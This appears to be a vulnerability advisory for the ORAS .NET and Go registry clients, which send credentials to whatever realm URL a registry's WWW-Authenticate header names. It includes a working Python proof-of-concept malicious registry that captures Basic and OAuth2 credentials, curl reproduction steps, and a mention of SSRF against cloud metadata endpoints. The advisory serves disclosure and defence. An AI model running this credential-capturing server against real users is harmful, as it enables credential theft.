Summary
The auth client blindly follows the realm URL from the server's WWW-Authenticate: Bearer challenge header when exchanging credentials for tokens. A malicious or compromised registry can set realm to an attacker-controlled URL, causing the client to send user credentials (username/password via Basic auth, or refresh tokens/passwords via OAuth2 POST) to that URL. This is the same vulnerability class as CVE-2026-33540 (distribution, CVSS 7.5), CVE-2026-24845 (go-containerregistry, CVSS 6.5), and CVE-2026-33990 (Docker Model Runner).
Details
FetchDistributionTokenAsync (Client.cs:382) sends a GET request to the unvalidated realm URL with Basic auth credentials:
using var request = new HttpRequestMessage(HttpMethod.Get, realm);
if (!string.IsNullOrWhiteSpace(username) && !string.IsNullOrWhiteSpace(password))
{
var credentials = Convert.ToBase64String(
Encoding.UTF8.GetBytes($"{username}:{password}"));
request.Headers.Authorization =
new AuthenticationHeaderValue("Basic", credentials);
}
FetchOauth2TokenAsync (Client.cs:485) sends a POST request to the unvalidated realm URL with passwords or refresh tokens in the form body:
using var request = new HttpRequestMessage(HttpMethod.Post, realm);
// form body contains grant_type=password&username=...&password=...
// or grant_type=refresh_token&refresh_token=...
No validation of realm URL scheme, host, or origin exists in either path. The realm value comes directly from the server's WWW-Authenticate response header, which is attacker-controlled.
Note: The same pattern exists in oras-go (fetchDistributionToken and fetchOAuth2Token in registry/remote/auth/client.go).
PoC
Setup: Save the following as poc_malicious_registry.py and run with Python 3:
#!/usr/bin/env python3
"""PoC: Malicious OCI registry that exfiltrates credentials via realm redirect."""
import http.server, threading, json, base64
from urllib.parse import urlparse, parse_qs
REGISTRY_PORT, ATTACKER_PORT = 5000, 5001
class MaliciousRegistryHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
realm = f"http://localhost:{ATTACKER_PORT}/steal"
self.send_response(401)
self.send_header("WWW-Authenticate",
f'Bearer realm="{realm}",service="malicious-registry",scope="repository:test/image:pull"')
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"errors": [{"code": "UNAUTHORIZED"}]}).encode())
do_HEAD = do_GET
class AttackerHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
auth = self.headers.get("Authorization", "")
if auth.startswith("Basic "):
decoded = base64.b64decode(auth[6:]).decode()
print(f"\nπ¨ CREDENTIALS CAPTURED: {decoded}\n")
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"access_token": "fake-token"}).encode())
def do_POST(self):
body = self.rfile.read(int(self.headers.get("Content-Length", 0))).decode()
print(f"\nπ¨ OAUTH2 CREDENTIALS CAPTURED: {body}\n")
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"access_token": "fake-token"}).encode())
registry = http.server.HTTPServer(("0.0.0.0", REGISTRY_PORT), MaliciousRegistryHandler)
attacker = http.server.HTTPServer(("0.0.0.0", ATTACKER_PORT), AttackerHandler)
threading.Thread(target=registry.serve_forever, daemon=True).start()
threading.Thread(target=attacker.serve_forever, daemon=True).start()
print(f"Malicious registry on :{REGISTRY_PORT}, attacker on :{ATTACKER_PORT}")
import time
while True: time.sleep(1)
Reproduce:
# Terminal 1 β start PoC
python3 poc_malicious_registry.py
# Terminal 2 β simulate auth client following the realm
# Step 1: Client hits registry, gets 401 with malicious realm
curl -s -i http://localhost:5000/v2/
# Response: WWW-Authenticate: Bearer realm="http://localhost:5001/steal",...
# Step 2: Client follows realm with credentials (this is what oras does)
curl -s -u "victim_user:s3cret_p@ssw0rd" \
"http://localhost:5001/steal?service=malicious-registry&scope=repository:test/image:pull"
# Terminal 1 output:
# π¨ CREDENTIALS CAPTURED: victim_user:s3cret_p@ssw0rd
The same works end-to-end with oras pull localhost:5000/test/image:latest --username victim --password secret --plain-http.
Impact
Any user who connects to a malicious or compromised OCI registry with a credential-bearing ORAS client will have their credentials (username, password, refresh tokens) exfiltrated to an attacker-controlled server. This also enables SSRF if realm points to internal network addresses (e.g., cloud metadata endpoints at http://169.254.169.254/). All versions of oras-dotnet and oras-go are affected. Downstream consumers (oras CLI, Helm, containerd, Notation, etc.) inherit via oras-go.
Summary
The auth client blindly follows the
realmURL from the server'sWWW-Authenticate: Bearerchallenge header when exchanging credentials for tokens. A malicious or compromised registry can setrealmto an attacker-controlled URL, causing the client to send user credentials (username/password via Basic auth, or refresh tokens/passwords via OAuth2 POST) to that URL. This is the same vulnerability class as CVE-2026-33540 (distribution, CVSS 7.5), CVE-2026-24845 (go-containerregistry, CVSS 6.5), and CVE-2026-33990 (Docker Model Runner).Details
FetchDistributionTokenAsync(Client.cs:382) sends a GET request to the unvalidatedrealmURL with Basic auth credentials:FetchOauth2TokenAsync(Client.cs:485) sends a POST request to the unvalidatedrealmURL with passwords or refresh tokens in the form body:No validation of
realmURL scheme, host, or origin exists in either path. Therealmvalue comes directly from the server'sWWW-Authenticateresponse header, which is attacker-controlled.Note: The same pattern exists in
oras-go(fetchDistributionTokenandfetchOAuth2Tokeninregistry/remote/auth/client.go).PoC
Setup: Save the following as
poc_malicious_registry.pyand run with Python 3:Reproduce:
The same works end-to-end with
oras pull localhost:5000/test/image:latest --username victim --password secret --plain-http.Impact
Any user who connects to a malicious or compromised OCI registry with a credential-bearing ORAS client will have their credentials (username, password, refresh tokens) exfiltrated to an attacker-controlled server. This also enables SSRF if
realmpoints to internal network addresses (e.g., cloud metadata endpoints athttp://169.254.169.254/). All versions of oras-dotnet and oras-go are affected. Downstream consumers (oras CLI, Helm, containerd, Notation, etc.) inherit via oras-go.